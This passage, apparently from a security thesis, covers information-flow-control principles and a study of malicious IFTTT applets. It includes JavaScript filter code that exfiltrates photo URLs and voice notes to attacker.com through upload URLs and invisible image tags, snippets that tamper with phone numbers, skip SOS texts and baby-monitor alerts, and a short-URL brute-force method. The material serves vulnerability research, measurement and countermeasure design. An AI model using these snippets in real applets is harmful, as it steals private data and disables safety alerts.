as the monitor enforces only the where dimension of declassi�cation.

Example 1.5 (Based on Example 1 (Avg) [68]).
avg = declassify((h1 + ... + hn)/n);

Example 1.6 (Based on Example 1 (Avg-Attack) [68]).
h1 = hi; ... hn = hi;
avg = declassify((h1 + ... + hn)/n);

Principle 3 is related to the previous principle of trust-aware enforce-
ment, in the sense that an enforcement mechanism that relies on annota-
tions needs to have strong assurance that the integrity of these annotations
can be trusted, i.e. that they cannot be provided by the attacker in the form
of annotated untrusted code, and that the execution engine can be trusted to
preserve the integrity of the annotations.

Principle 4 (Language-independence). Language-independent
security conditions bene�t from abstracting away from the con-
structs of the underlying language. Language-independent en-
forcement bene�ts from simplicity and reuse.

While the challenges in information �ow enforcement are often in the
details of handling rich language constructs, these constructs are often in-
consequential to the actual security. It is thus prudent to formulate security
in an end-to-end fashion, on “macro�ows” between sources and sinks, thus
focusing on the interaction of the system with the environment, rather than
on “micro�ows” between language constructs.

This principle tightly connects to Principle 1 on attacker-driven secu-
rity. It also has bene�cial implications for enforcement. For example, se-
cure multi-execution [24] enforces security by executing a program multiple
times, one run per security level, while carefully dispatching inputs and out-
puts to the runs with su�cient access rights. The elegance of secure multi-
execution is its blackbox, language-independent, view of a system. This en-
ables information �ow control mechanisms like FlowFox [31] for the complex
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language of JavaScript, sidestepping a myriad of problems such as dynamic
code evaluation, type coercion, scope, and sensitive upgrade [6, 82], which
challenge JavaScript-speci�c information �ow trackers [15, 37]. Language-
independence makes FlowFox more robust to changes in the JavaScript stan-
dards.

Recall Example 1.3. Its execution is blocked by JSFlow when h is true, but
accepted otherwise. In contrast, FlowFox produces the low output irrespec-
tive of the value of h.

Faceted values [7] show that ideas from information �ow control and se-
cure multi-execution can be combined in a single mechanism.

Principle 5 (Justi�ed abstraction). The level of abstraction in
the security model bene�ts from re�ecting attacker capabilities.

Also connecting to Principle 1, this principle focuses on the level of ab-
straction that is adequate to model a desired attack surface. It relates to “in-
tegrative pluralism” [74] and not relying on a single ontology in the quest
for the Science of Security. It also relates to the problems with “provable
security” [40], when security is proved with respect to an abstraction that
ignores important classes of attacks. Thus, it is important to re�ect attacker
capabilities in the attacker model and provide a strong connection between
concrete and abstract attacks.

A popular line of work is on information �ow control for timing at-
tacks [47]. Timing is often modeled by timing cost labels [2] in the semantics.
However, modeling time in a high-level language places demands on carry-
ing the assumptions over to low-languages and hardware, as to take into
account low-level attacks, for example, via data and instruction cache [75].
Thus, this principle emphasizes low-level security models that re�ect attack-
ers’ observations of time. Mantel and Starostin study the e�ects of non-
justi�ed timing abstractions on multiple security-establishing program trans-
formations [54].

Example 1.7.
if (h == 1) { h′ = h1; }
else { h′ = h2; }
h′ = h1;

An attacker capable of analyzing the time it takes to execute the snippet
above can infer information about the secret h. The execution time will be
shorter if h = 1, as the value of h1 will already be present in the cache by the
time the last assignment is performed. The program is accepted by JSFlow,
as it does not assume such attackers.
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Principle 5 is particularly important for security-critical systems, where
even a low bandwidth of leaks can be devastating. For example, information
�ow analysis for VHDL by Tolstrup et al. [76] is in line with this principle
by faithfully modeling time at circuit level. Zhang et al. [84] propose a hard-
ware design language SecVerilog and prove that it enforces timing-sensitive
noninterference. Work on blackbox timing mitigation for web application by
Askarov et al. [5] is also interesting in this space. Their blackbox mechanism
relies on no high-level abstractions of time because mitigation is performed
on the endpoints of the system. The timing leak bandwidth is controlled by
appropriately delaying attacker-observable events.

Principle 6 (Permissiveness). Enforcement for untrusted code
particularly bene�ts from reducing false negatives (soundness),
while enforcement for trusted code particularly bene�ts from
reducing false positives (high permissiveness).

This principle further elaborates consequences of treating untrusted and
trusted code. While it is crucial to provide coverage against attacks by un-
trusted code (soundness), for trusted code the focus is on reducing false
alarms (high permissiveness). Indeed, it makes sense to prioritize security for
potentially malicious code and to prioritize reducing false alarms for trusted
code. The latter is a key consideration for adopting vulnerability detection
tools by developers.

Consider again the program in Example 1.3. While a false positive for a
fully-�edged information �ow tracker such as JSFlow, the snippet is accepted
by both observable �ow and taint trackers.

It is interesting to apply Principle 6 to the setting of Android apps, a
typical setting of potentially malicious code. Currently, the state of the art is
largely taint tracking mechanisms like TaintDroid [25], DroidSafe [30], and
HornDroid [20], failing to detect implicit �ows [27]. Interestingly, there is
evidence of implicit �ows in malicious code on the web [42]. We anticipate
implicit �ows to be exercised by malicious Android apps whenever there
arises a need to bypass explicit �ow checks. Thus, we project a trend for
taint trackers in this domain to be extended into fully-�edged information
�ow trackers, with �rst steps in this direction already being made [81].

1.3 Related work

Our principles draw inspiration from Abadi and Needham’s informal princi-
ples for designing cryptographic protocols [1].
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1.4. Conclusion

Prior work has focused on di�erent aspects of information �ow secu-
rity. Sabelfeld and Myers [67] roadmap language-based information security
de�nitions and static enforcement mechanisms. Le Guernic [49] overviews
dynamic techniques. Sabelfeld and Sands [70] outline principles and dimen-
sions of declassi�cation, roadmapping the area of intended information re-
lease. Smith [73] gives an account of foundations for quantitative informa-
tion �ow. Schwartz et al. [72] survey dynamic taint analysis and symbolic
execution for security. Hedin and Sabelfeld [39] give a uniform presentation
of dominant security conditions by gradually re�ning the indistinguishabil-
ity relation that models the attacker. Bielova [16] roadmaps JavaScript secu-
rity policies and their enforcement in a web browser. Mastroeni [55] gives
an overview of information �ow techniques based on abstract interpreta-
tion. Broberg et al. [19] give a systematic view of dynamic information �ow.
Bielova and Rezk [17] provide a rigorous taxonomy of information �ow mon-
itors. A recent special issue of Journal of Computer Security [60] showcases
a current snapshot of work on veri�ed information �ow.

1.4 Conclusion

We have presented prudent principles for designing information �ow control
for emerging domains. The core principles of attacker-driven security and
trust-aware enforcement provide a rationale for deliberating over soundness
vs. soundiness, while the additional principles of separation of security poli-
cies from code, language-independent security conditions, justi�ed abstrac-
tion, and permissiveness help design information �ow control characteriza-
tions and enforcement mechanisms.
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If This Then What? Con-

trolling Flows in IoT Apps
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A
bstract. IoT apps empower users by connecting a variety of other-

wise unconnected services. These apps (or applets) are triggered
by external information sources to perform actions on external informa-
tion sinks. We demonstrate that the popular IoT app platforms, includ-
ing IFTTT (If This Then That), Zapier, and Microsoft Flow are suscep-
tible to attacks by malicious applet makers, including stealthy privacy
attacks to ex�ltrate private photos, leak user location, and eavesdrop on
user input to voice-controlled assistants. We study a dataset of 279,828
IFTTT applets from more than 400 services, classify the applets accord-
ing to the sensitivity of their sources, and �nd that 30% of the applets
may violate privacy. We propose two countermeasures for short- and
longterm protection: access control and information �ow control. For
short-term protection, we suggest that access control classi�es an ap-
plet as either exclusively private or exclusively public, thus breaking
�ows from private sources to sensitive sinks. For longterm protection,
we develop a framework for information �ow tracking in IoT apps. The
framework models applet reactivity and timing behavior, while at the
same time faithfully capturing the subtleties of attacker observations
caused by applet output. We show how to implement the approach for
an IFTTT-inspired setting leveraging state-of-the-art information �ow
tracking techniques for JavaScript based on the JSFlow tool and evalu-
ate its e�ectiveness on a collection of applets.





2.1 Introduction

IoT apps help users manage their digital lives by connecting Internet-connec-
ted components from cyberphysical “things” (e.g., smart homes, cars, and
�tness armbands) to online services (e.g., Google and Dropbox) and social
networks (e.g., Facebook and Twitter). Popular platforms include IFTTT (If
This Then That), Zapier, and Microsoft Flow. In the following, we focus on
IFTTT as the prime example of IoT app platform, while pointing out that our
main �ndings also apply to Zapier and Microsoft Flow.

IFTTT IFTTT [26] supports over 500 Internet-connected components and
services [25] with millions of users running billions of apps [24]. At the
core of IFTTT are applets, reactive apps that include triggers, actions, and
�lter code. Triggers and actions may involve ingredients, enabling applet
makers to pass parameters to triggers and actions. Figure 2.1 illustrates the
architecture of an applet, exempli�ed by applet “Automatically back up your
new iOS photos to Google Drive” [1]. It consists of trigger “Any new photo”
(provided by iOS Photos), action “Upload �le from URL” (provided by Google
Drive), and �lter code for action customization. Examples of ingredients are
the photo date and album name.

Privacy, integrity, and availability concerns IoT platforms connect a va-
riety of otherwise unconnected services, thus opening up for privacy, in-
tegrity, and availability concerns. For privacy, applets receive input from
sensitive information sources, such as user location, �tness data, private feed
from social networks, as well as private documents and images. This raises
concerns of keeping user information private. These concerns have addi-
tional legal rami�cations in the EU, in light of the General Data Protection
Regulation (GDPR) [13] that increases the signi�cance of using safeguards to
ensure that personal data is adequately protected. For integrity and availabil-
ity, applets are given sensitive controls over burglary alarms, thermostats,
and baby monitors. This raises the concerns of assuring the integrity and
availability of data manipulated by applets. These concerns are exacerbated
by the fact that IFTTT allows applets from anyone, ranging from IFTTT itself
and o�cial vendors to any users as long as they have an account, thriving
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Automatically back up your new iOS photos to Google Drive
applet title

Any new photo
trigger

filter & transform
if (you upload an iOS photo) then
add the taken date to photo name
and upload in album <ifttt>

end

Upload �le from URL
action

Figure 2.1: IFTTT applet architecture, by example

on the model of end-user programming [10, 39, 47]. For example, the applet
above, currently installed by 97,000 users, is by user alexander.

Like other IoT platforms, IFTTT incorporates a basic form of access con-
trol. Users can see what triggers and actions a given applet may use. To be
able to run the applet, users need to provide their credentials to the services
associated with its triggers and actions. In the above-mentioned applet that
backs up iOS photos on Google Drive, the user gives the applet access to their
iOS photos and to their Google Drive.

For the applet above, the desired expectation is that users explicitly allow
the applet accessing their photos but only to be used on their Google Drive.
Note that this kind of expectation can be hard to achieve in other scenarios.
For example, a browser extension can easily abuse its permissions [30]. In
contrast to privileged code in browser extensions, applet �lter code is heavily
sandboxed by design, with no blocking or I/O capabilities and access only
to APIs pertaining to the services used by the applet. The expectation that
applets must keep user data private is con�rmed by the IoT app vendors
(discussed below).

In this paper we focus on a key question on whether the current security
mechanisms are su�cient to protect against applets designed by malicious
applet makers. To address this question, we study possibilities of attacks,
assess their possible impact, and suggest countermeasures.

A�acks at a glance We observe that �lter code and ingredient parameters
are security-critical. Filters are JavaScript code snippets with APIs pertain-
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ing to the services the applet uses. The user’s view of an applet is limited to
a brief description of the applet’s functionality. By an extra click, the user
can inspect the services the applet uses, iOS Photos and Google Drive for the
applet in Figure 2.1. However, the user cannot inspect the �lter code or the
ingredient parameters, nor is informed whether �lter code is present alto-
gether. Moreover, while the triggers and actions may not be changed after
the applet has been published, modi�cations in the �lter code or parameter
ingredients can be performed at any time by the applet maker, with no user
noti�cation.

We show that, unfortunately, malicious applet makers can bypass access
control policies by special crafting of �lter code and parameter ingredients.
To demonstrate this, we leverage URL attacks. URLs are central to IFTTT
and the other IoT platforms, serving as “universal glue” for services that
are otherwise unconnected. Services like Google Drive and Dropbox pro-
vide URL-based APIs connected to applet actions for uploading content. For
the photo backup applet, IFTTT uploads a new photo to its server, creates a
publicly-accessible URL, and passes it to Google Drive. URLs are also used
by applets in other contexts, such as including custom images like logos in
email noti�cations.

We demonstrate two classes of URL-based attacks for stealth ex�ltration
of private information by applets: URL upload attacks and URL markup at-
tacks. Under both attacks, a malicious applet maker may craft a URL by en-
coding the private information as a parameter part of a URL linking to a
server under the attacker’s control, as in https://attacker.com?secret.

Under the URL upload attack, the attacker exploits the capability of up-
loads via links. In a scenario of a photo backup applet like above, IFTTT
stores any new photo on its server and passes it to Google Drive using an in-
termediate URL. Thus, the attacker can pass the intermediate URL to its own
server instead, either by string processing in the JavaScript code of the �l-
ter, as in 'https://attacker.com?'+ encodeURIComponent(originalURL), or by
editing parameters of an ingredient in a similar fashion. For the attack to
remain unnoticed, the attacker con�gures attacker.com to forward the orig-
inal image in the response to Google Drive, so that the image is backed up
as expected by the user. This attack requires no additional user interaction
since the link upload is (unsuspiciously) executed by Google Drive.

Under the URL markup attack, the attacker creates HTML markup with
a link to an invisible image with the crafted URL embedding the secret. The
markup can be part of a post on a social network or a body of an email mes-
sage. The leak is then executed by a web request upon processing the markup
by a web browser or an email reader. This attack requires waiting for a user
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to view the resulting markup, but it does not require the attacker’s server to
do anything other than record request parameters.

The attacks above are general in the sense that they apply to both web-
based IFTTT applets and applets installed via the IFTTT app on a user device.
Further, we demonstrate that the other common IoT app platforms, Zapier
and Microsoft Flow, are both vulnerable to URL-based attacks.

URL-based ex�ltration attacks are particularly powerful because of their
stealth nature. We perform a measurement study on a dataset of 279,828
IFTTT applets from more than 400 services to �nd that 30% of the applets are
susceptible to stealthy privacy attacks by malicious applet makers. Moreover,
it turns out that 99% of these applets are by third-party makers.

As we scrutinize IFTTT’s usage of URLs, we observe that IFTTT’s custom
URL shortening mechanism is susceptible to brute force attacks [14] due to
insecurities in the URL randomization schema.

Our study also includes attacks that compromise the integrity and avail-
ability of user data. However, we note that the impact of these attacks is not
as high, as these attacks are not compromising more data than what the user
trusts an applet to access.

Countermeasures: from breaking the flow to tracking the flow The
root of the problem in the attacks above is information �ow from private
sources to public sinks. Accordingly, we suggest two countermeasures: break-
ing the �ow and tracking the �ow.

As an immediate countermeasure, we suggest a per-applet access control
policy to either classify an applet as private or public and thereby restrict its
sources and sinks to either exclusively private or exclusively public data. As
such, this discipline breaks the �ow from private to public. For the photo
backup applet above, it implies that the applet should be exclusively private.
URL attacks in private applets can be then prevented by ensuring that ap-
plets cannot build URLs from strings, thus disabling possibilities of linking
to attackers’ servers. On the other hand, generating arbitrary URLs in public
applets can be still allowed.

IFTTT plans for enriching functionality by allowing multiple triggers
and queries [28] for conditional triggering in an applet. Microsoft Flow al-
ready o�ers support for queries. This implies that exclusively private applets
might become overly restrictive. In light of these developments, we outline
a longterm countermeasure of tracking information �ow in IoT apps.

We believe IoT apps provide a killer application for information �ow con-
trol. The reason is that applet �lter code is inherently basic and within reach
of tools like JSFlow, performance overhead is tolerable (IFTTT’s triggers/ac-
tions are allowed 15 minutes to �re!), and declassi�cation is not applicable.
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Our framework models applet reactivity and timing behavior while at the
same time faithfully capturing the subtleties of attacker observations caused
by applet output. We implement the approach leveraging state-of-the-art
information �ow tracking techniques [20] for JavaScript based on the JS-
Flow [21] tool and evaluate its e�ectiveness on a collection of applets.

Contributions The paper’s contributions are the following:
• We demonstrate privacy leaks via two classes of URL-based attacks, as well
as violations of integrity and availability in applets (Section 2.3).

• We present a measurement study on a dataset of 279,828 IFTTT applets
from more than 400 services, classify the applets according to the sensitivity
of their sources, and �nd that 30% of the applets may violate privacy (Sec-
tion 2.4).

• We propose a countermeasure of per-app access control, preventing simul-
taneous access to private and public channels of communication (Section 2.5).

• For a longterm perspective, we propose a framework for information �ow
control that models applet reactivity and timing behavior while at the same
time faithfully capturing the subtleties of attacker observations caused by
applet output (Section 2.6).

• We implement the longterm approach leveraging state-of-the-art JavaScript
information �ow tracking techniques (Section 2.7.1) and evaluate its e�ec-
tiveness on a selection of 60 IFTTT applets (Section 2.7.2).

2.2 IFTTT platform and a�acker model

This section gives brief background on the applet architecture, �lter code,
and the use of URLs on the IFTTT platform.

Architecture An IFTTT applet is a small reactive app that includes trig-
gers (as in “If I’m approaching my home” or “If I’m tagged on a picture on
Instagram”) and actions (as in “Switch on the smart home lights” or “Save
the picture I’m tagged on to my Dropbox”) from di�erent third-party part-
ner services such as Instagram or Dropbox. Triggers and actions may involve
ingredients, enabling applet makers and users to pass parameters to triggers
(as in “Locate my home area” or “Choose a tag”) and actions (as in “The light
color” or “The Dropbox folder”). Additionally, applets may contain �lter code
for personalization. If present, the �lter code is invoked after a trigger has
been �red and before an action is dispatched.
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Sensitive triggers and actions require users’ authentication and autho-
rization on the partner services, e.g., Instagram and Dropbox, to allow the
IFTTT platform poll a trigger’s service for new data, or push data to a service
in response to the execution of an action. This is done by using the OAuth
2.0 authorization protocol [40] and, upon applet installation, re-directing the
user to the authentication page that is hosted by the service providers. An ac-
cess token is then generated and used by IFTTT for future executions of any
applets that use such services. Fernandes et al. [12] give a detailed overview
of IFTTT’s use of OAuth protocol and its security implications. Applets can
be installed either via IFTTT’s web interface or via an IFTTT app on a user
device. In both cases, the application logic of an applet is implemented on
the server side.

Filter code Filters are JavaScript (or, technically, TypeScript, JavaScript with
optional static types) code snippets with APIs pertaining to the services the
applet uses. They cannot block or perform output by themselves, but can use
instead the APIs to con�gure the output actions of the applet. The �lters are
batch programs forced to terminate upon a timeout. Outputs corresponding
to the applet’s actions take place in a batch after the �lter code has termi-
nated, but only if the execution of the �lter code did not exceed the internal
timeout.

In addition to providing APIs for action output con�guration, IFTTT also
provides APIs for ignoring actions, via skip commands. When an action is
skipped inside the �lter code, the output corresponding to that action will
not be performed, although the action will still be speci�ed in the applet.

URLs The setting of IoT apps is a heterogeneous one, connecting otherwise
unconnected services. IFTTT heavily relies on URL-based endpoints as a
“universal glue” connecting these services. When passing data from one ser-
vice to another (as is the case for the applet in Figure 2.1), IFTTT uploads the
data provided by the trigger (as in “Any new photo”), stores it on a server,
creates a randomized public URL https://locker.ifttt.com/*, and passes the
URL to the action (as in “Upload �le from URL”). By default, all URLs gener-
ated in markup are automatically shortened to http://ift.tt/ URLs, unless
a user explicitly opts out of shortening [29].

A�acker model Our main attacker model consists of a malicious applet
maker. The attacker either signs up for a free user account or, optionally,
a premium “partner” account. In either case, the attacker is granted with
the possibility of making and publishing applets for all users. The attacker’s
goal is to craft �lter code and ingredient parameters in order to bypass access
control. One of the attacks we discuss also involves a network attacker who
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is able to eavesdrop on and modify network tra�c.

2.3 A�acks

This section illustrates that the IFTTT platform is susceptible to di�erent
types of privacy, integrity, and availability attacks by malicious applet mak-
ers. We have veri�ed the feasibility of the attacks by creating private IFTTT
applets from a test user account. By making applets private to the account
under our control, we ensured that they did not a�ect other users. We remark
that third-party applets providing the same functionality are widely used by
the IFTTT users’ community (cf. Table 2.3 in the Appendix). We evaluate the
impact of our attacks on the IFTTT applet store in Section 2.4.

Since users explicitly grant permissions to applets to access the triggers
and actions on their behalf, we argue that the �ow of information between
trigger sources and action sinks is part of the users’ privacy policy. For
instance, by installing the applet in Figure 2.1, the user agrees on storing
their iOS photos to Google Drive, independently of the user’s settings on the
Google Drive folder. Yet, we show that the access control mechanism im-
plemented by IFTTT does not enforce the privacy policy as intended by the
user. We focus on malicious implementations of applets that allow an at-
tacker to ex�ltrate private information, e.g., by sending the user’s photos to
an attacker-controlled server, to compromise the integrity of trusted infor-
mation, e.g., by changing original photos or using di�erent ones, and to a�ect
the availability of information, e.g., by preventing the system from storing
the photos to Google Drive. Recall that the attacker’s goal is to craft �lter
code and ingredient parameters as to bypass access control. As we will see,
our privacy attacks are particularly powerful because of their stealth nature.
Integrity and availability attacks also cause concerns, despite the fact that
they compromise data that the user trusts the applet to access, and thus may
be noticed by the user.

2.3.1 Privacy

We leverage URL-based attacks to ex�ltrate private information to an attacker-
controlled server. A malicious applet maker crafts a URL by encoding the pri-
vate information as a parameter part of a URL linking to the attacker’s server.
Private sources consist of trigger ingredients that contain sensitive informa-
tion such as location, images, videos, SMSs, emails, contact numbers, and
more. Public sinks consist of URLs to upload external resources such as im-
ages, videos and documents as part of the actions’ events. We use two classes
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of URL-based attacks to ex�ltrate private information: URL upload attacks
and URL markup attacks.

URL upload a�ack Figure 2.2 displays a URL upload attack in the sce-
nario of Figure 2.1. When a maker creates the applet, IFTTT provides access
(through �lter code APIs or trigger/action parameters) to the trigger ingredi-
ents of the iOS Photos service and the action �elds of the Google Drive ser-
vice. In particular, the API IosPhotos.newPhotoInCameraRoll.PublicPhotoURL
for the trigger “Any new photo” of iOS Photos contains the public URL

of the user’s photo on the IFTTT server. Similarly, the API GoogleDrive.

uploadFileFromUrlGoogleDrive.setUrl() for the action �eld “Upload �le from
URL” of Google Drive allows uploading any �le from a public URL. The attack
consists of JavaScript code that passes the photo’s public URL as parameter to
the attacker’s server. We con�gure the attacker’s server as a proxy to provide
the user’s photo in the response to Google Drive’s request in line 3, so that the
image is backed up as expected by the user. In our experiments, we demon-
strate the attack with a simple setup on a node.js server that upon receiving
a request of the form https://attacker.com?https://locker.ifttt.com/img.

jpeg logs the URL parameter https://locker.ifttt.com/img.jpeg while mak-
ing a request to https://locker.ifttt.com/img.jpeg and forwarding the re-
sult as response to the original request. Observe that the attack requires no
additional user interaction because the link upload is transparently executed
by Google Drive.

1 var publicPhotoURL = encodeURIComponent(IosPhotos.
newPhotoInCameraRoll.PublicPhotoURL)

2 var attack = 'https://attacker.com?' + publicPhotoURL
3 GoogleDrive.uploadFileFromUrlGoogleDrive.setUrl(attack)

Figure 2.2: URL upload attack ex�ltrating iOS Photos

URL markup a�ack Figure 2.3 displays a URL markup attack on applet
“Keep a list of notes to email yourself at the end of the day”. A similar ap-
plet created by Google has currently 18,600 users [17]. The applet uses trig-
ger “Say a phrase with a text ingredient” (cf. trigger API GoogleAssistant

.voiceTriggerWithOneTextIngredient.TextField) from the Google Assistant
service to record the user’s voice command. Furthermore, the applet uses
the action “Add to daily email digest” from the Email Digest service (cf. ac-
tion API EmailDigest.sendDailyEmail.setMessage()) to send an email digest
with the user’s notes. For example, if the user says “OK Google, add re-
member to vote on Tuesday to my digest", the applet will include the phrase
remember to vote on Tuesday as part of the user’s daily email digest. The
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markup URL attack in Figure 2.3 creates an HTML image tag with a link to
an invisible image with the attacker’s URL parameterized on the user’s daily
notes. The ex�ltration is then executed by a web request upon processing the
markup by an email reader. In our experiments, we used Gmail to verify the
attack. We remark that the same applet can ex�ltrate information through
URL uploads attacks via the EmailDigest.sendDailyEmail.setUrl() API from
the Email Digest service. In addition to email markup, we have successfully
demonstrated ex�ltration via markup in Facebook status updates and tweets.
Although both Facebook and Twitter disallow 0x0 images, they still allow
small enough images, invisible to a human, providing a channel for stealth
ex�ltration.

1 var notes = encodeURIComponent(GoogleAssistant.
voiceTriggerWithOneTextIngredient.TextField)

2 var img = '<img src=\"https://attacker.com?' + notes + '\" style=\"
width:0px;height:0px;\">'

3 EmailDigest.sendDailyEmail.setMessage('Notes of the day' + notes +
img)

Figure 2.3: URL markup attack ex�ltrating daily notes

In our experiments, we veri�ed that private information from Google,
Facebook, Twitter, iOS, Android, Location, BMW Labs, and Dropbox services
can be ex�ltrated via the two URL-based classes of attacks. Moreover, we
demonstrated that these attacks apply to both applets installed via IFTTT’s
web interface and applets installed via IFTTT’s apps on iOS and Android user
devices, con�rming that the URL-based vulnerabilities are in the server-side
application logic.

2.3.2 Integrity

We show that malicious applet makers can compromise the integrity of the
trigger and action ingredients by modifying their content via JavaScript code
in the �lter API. The impact of these attacks is not as high as that of the
privacy attacks, as they compromise the data that the user trusts an applet
to access, and ultimately they can be discovered by the user.

Figure 2.4 displays the malicious �lter code for the applet ”Google Con-
tacts saved to Google Drive Spreadsheet“ which is used to back up the list
of contact numbers into a Google Spreadsheet. A similar applet created by
maker jayreddin is used by 3,900 users [31]. By granting access to Google
Contacts and Google Sheets services, the user allows the applet to read the
contact list and write customized data to a user-de�ned spreadsheet. The
malicious code in Figure 2.4 reads the name and phone number (lines 1-2) of
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a user’s Google contact and randomly modi�es the sixth digit of the phone
number (lines 3-4), before storing the name and the modi�ed number to the
spreadsheet (line 5).

1 var name = GoogleContacts.newContactAdded.Name
2 var num = GoogleContacts.newContactAdded.PhoneNumber
3 var digit = Math.floor(Math.random() * 10) + ''
4 var num1 = num.replace(num.charAt(5), digit)
5 GoogleSheets.appendToGoogleSpreadsheet.setFormattedRow(name + '|||'

+ num1)

Figure 2.4: Integrity attack altering phone numbers

Figure 2.5 displays a simple integrity attack on applet “When you leave
home, start recording on your Manything security camera” [35]. Through it,
the user con�gures the Manything security camera to start recording when-
ever the user leaves home. This can be done by granting access to Location
and Manything services to read the user’s location and set the security cam-
era, respectively. A malicious applet maker needs to write a single line of
code in the �lter to force the security camera to record for only 15 minutes.

Manything.startRecording.setDuration('15 minutes')

Figure 2.5: Altering security camera’s recording time

2.3.3 Availability

IFTTT provides APIs for ignoring actions altogether via skip commands in-
side the �lter code. Thus, it is possible to prevent any applet from performing
the intended action. We show that the availability of triggers’ information
through actions’ events can be important in many contexts, and malicious
applets can cause serious damage to their users.

Consider the applet “Automatically text someone important when you
call 911 from your Android phone” by user devin with 5,100 installs [9]. The
applet uses service Android Messages to text someone whenever the user
makes an emergency call. Line 4 shows an availability attack on this applet
by preventing the action from being performed.

As another example, consider the applet “Email me when temperature
drops below threshold in the baby’s room” [23]. The applet uses the iBaby
service to check whether the room temperature drops below a user-de�ned
threshold, and, when it does, it noti�es the user via email. The availability
attack in line 7 would prevent the user from receiving the email noti�cation.
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1 if (AndroidPhone.placeAPhoneCallToNumber.ToNumber=='911'){
2 AndroidMessages.sendAMessage.setText('Please help me!')
3 }
4 AndroidMessages.sendAMessage.skip()

Figure 2.6: Availability attack on SOS text messages

1 var temp = Ibaby.temperatureDrop.TemperatureValue
2 var thre = Ibaby.temperatureDrop.TemperatureThreshold
3 if (temp < thre) {
4 Email.sendMeEmail.setSubject('Alert')
5 Email.sendMeEmail.setBody('Room temperature is ' + temp)
6 }
7 Email.sendMeEmail.skip()

Figure 2.7: Availability attack on baby monitors

2.3.4 Other IoT platforms

Zapier and Microsoft Flow are IoT platforms similar to IFTTT, in that they
also allow �ows of data from one service to another. Similarly to IFTTT,
Zapier allows for specifying �lter code (either in JavaScript or Python), but,
if present, the code is represented as a separate action, so its existence may
be visible to the user.

We succeeded in demonstrating the URL image markup attack (cf. Fig-
ure 2.3) for a private app on test accounts on both platforms using only the
trigger’s ingredients and HTML code in the action for specifying the body
of an email message. It is worth noting that, in contrast to IFTTT, Zapier
requires a vetting process before an app can be published on the platform.
We refrained from initiating the vetting process for an intentionally insecure
app, instead focusing on direct disclosure of vulnerabilities to the vendors.

2.3.5 Brute forcing short URLs

While we scrutinize IFTTT’s usage of URLs, we observe that IFTTT’s cus-
tom URL shortening mechanism is susceptible to brute force attacks. Re-
call that IFTTT automatically shortens all URLs to http://ift.tt/ URLs in
the generated markup for each user, unless the user explicitly opts out of
shortening [29]. Unfortunately, this implies that a wealth of private infor-
mation is readily available via http://ift.tt/ URLs, such as private location
maps, shared images, documents, and spreadsheets. Georgiev and Shmatikov
point out that 6-character shortened URLs are insecure [14], and can be eas-
ily brute-forced. While the randomized part of http://ift.tt/ URLs is 7-
character long, we observe that the majority of the URLs generated by IFTTT
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have a �xed character in one of the positions. (Patterns in shortened URLs
may be used for user tracking.) With this heuristic, we used a simple script to
search through the remaining 6-character strings yielding 2.5% success rate
on a test of 1000 requests, a devastating rate for a brute-force attack. The
long lifetime of public URLs exacerbates the problem. While this is concep-
tually the simplest vulnerability we �nd, it opens up for large-scale scraping
of private information. For ethical reasons, we did not inspect the content
of the discovered resources but veri�ed that they represented a collection of
links to legitimate images and web pages. For the same reasons, we refrained
to mount large-scale demonstrations, instead reporting the vulnerability to
IFTTT. A �nal remark is that the shortened links are served over HTTP,
opening up for privacy and integrity attacks by the network attacker.

Other IoT Platforms Unlike IFTTT, Microsoft Flow does not seem to allow
for URL shortening. Zapier o�ers this support, but its shortened URLs are of
the form https://t.co/, served over HTTPS and with a 10-character long
randomized part.

2.4 Measurements

We conduct an empirical measurement study to understand the possible se-
curity and privacy implications of the attack vectors from Section 2.3 on the
IFTTT ecosystem. Drawing on (an updated collection of) the IFTTT dataset
by Mi et al. [36] from May 2017, we study 279,828 IFTTT applets from more
than 400 services against potential privacy, integrity, and availability attacks.
We �rst describe our dataset and methodology on publicly available IFTTT
triggers, actions and applets (Section 2.4.1) and propose a security classi�-
cation for trigger and action events (Section 2.4.2). We then use our classi�-
cation to study existing applets from the IFTTT platform, and report on po-
tential vulnerabilities (Section 2.4.3). Our results indicate that 30% of IFTTT
applets are susceptible to stealthy privacy attacks by malicious applet mak-
ers.

2.4.1 Dataset and methodology

For our empirical analysis, we extend the dataset by Mi et al. [36] from
May 2017 with additional triggers and actions. The dataset consists of three
JSON �les describing 1426 triggers, 891 actions, and 279,828 applets, respec-
tively. For each trigger, the dataset contains the trigger’s title, description,
and name, the trigger’s service unique ID and URL, and a list with the trig-
ger’s �elds (i.e., parameters that determine the circumstances when the trig-
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ger should go o�, and can be con�gured either by the applet or by the user
who enables the applet). The dataset contains similar information for the ac-
tions. As described in Section 2.4.2, we enrich the trigger and action datasets
with information about the category of the corresponding services (by using
the main categories of services proposed by IFTTT [27]), and the security
classi�cation of the triggers and actions. Furthermore, for each applet, the
dataset contains information about the applet’s title, description, and URL,
the developer name and URL, number of applet installs, and the correspond-
ing trigger and action titles, names, and URLs, and the name, unique ID and
URL of the corresponding trigger and action service.

We use the dataset to analyze the privacy, integrity and availability risks
posed by existing public applets on the IFTTT platform. First, we leverage
the security classi�cation of triggers and actions to estimate the di�erent
types of risks that may arise from their potentially malicious use in IFTTT
applets. Our analysis uses Sparksoniq [44], a JSONiq [32] engine to query
large-scale JSON datasets stored (in our case) on the �le system. JSONiq is an
SQL-like query and processing language speci�cally designed for the JSON
data model. We use the dataset to quantify on the number of existing IFTTT
applets that make use of sensitive triggers and actions. We implement our
analysis in Java and use the json-simple library [33] to parse the JSON �les.
The analysis is quite simple: it scans the trigger and action �les to identify
trigger-action pairs with a given security classi�cation, and then retrieves the
applets that use such a pair. The trigger and action’s titles and unique service
IDs provide a unique identi�er for a given applet in the dataset, allowing us
to count the relevant applets only once and thus avoid repetitions.

2.4.2 Classifying triggers and actions

To estimate the impact of the attack vectors from Section 2.3 on the IFTTT
ecosystem, we inspected 1426 triggers and 891 actions, and assigned them
a security classi�cation. The classifying process was done manually by en-
visioning scenarios where the malicious usage of such triggers and actions
would enable severe security and privacy violations. As such, our classi�ca-
tion is just a lower bound on the number of potential violations, and depend-
ing on the users’ preferences, �ner-grained classi�cations are possible. For
instance, since news articles are public, we classify the trigger “New article
in section” from The New York Times service as public, although one might
envision scenarios where leaking such information would allow an attacker
to learn the user’s interests in certain topics and hence label it as private.
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2. If This Then What? Controlling Flows in IoT Apps

Figure 2.8: Security classi�cation of IFTTT triggers
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Trigger classification In our classi�cation we use three labels for IFTTT
triggers: Private, Public, and Available. Private and Public labels represent
triggers that contain private information, e.g., user location and voice assis-
tant messages, and public information, e.g., new posts on reddit, respectively.
We use label Available to denote triggers whose content may be considered
public, yet, the mere availability of such information is important to the user.
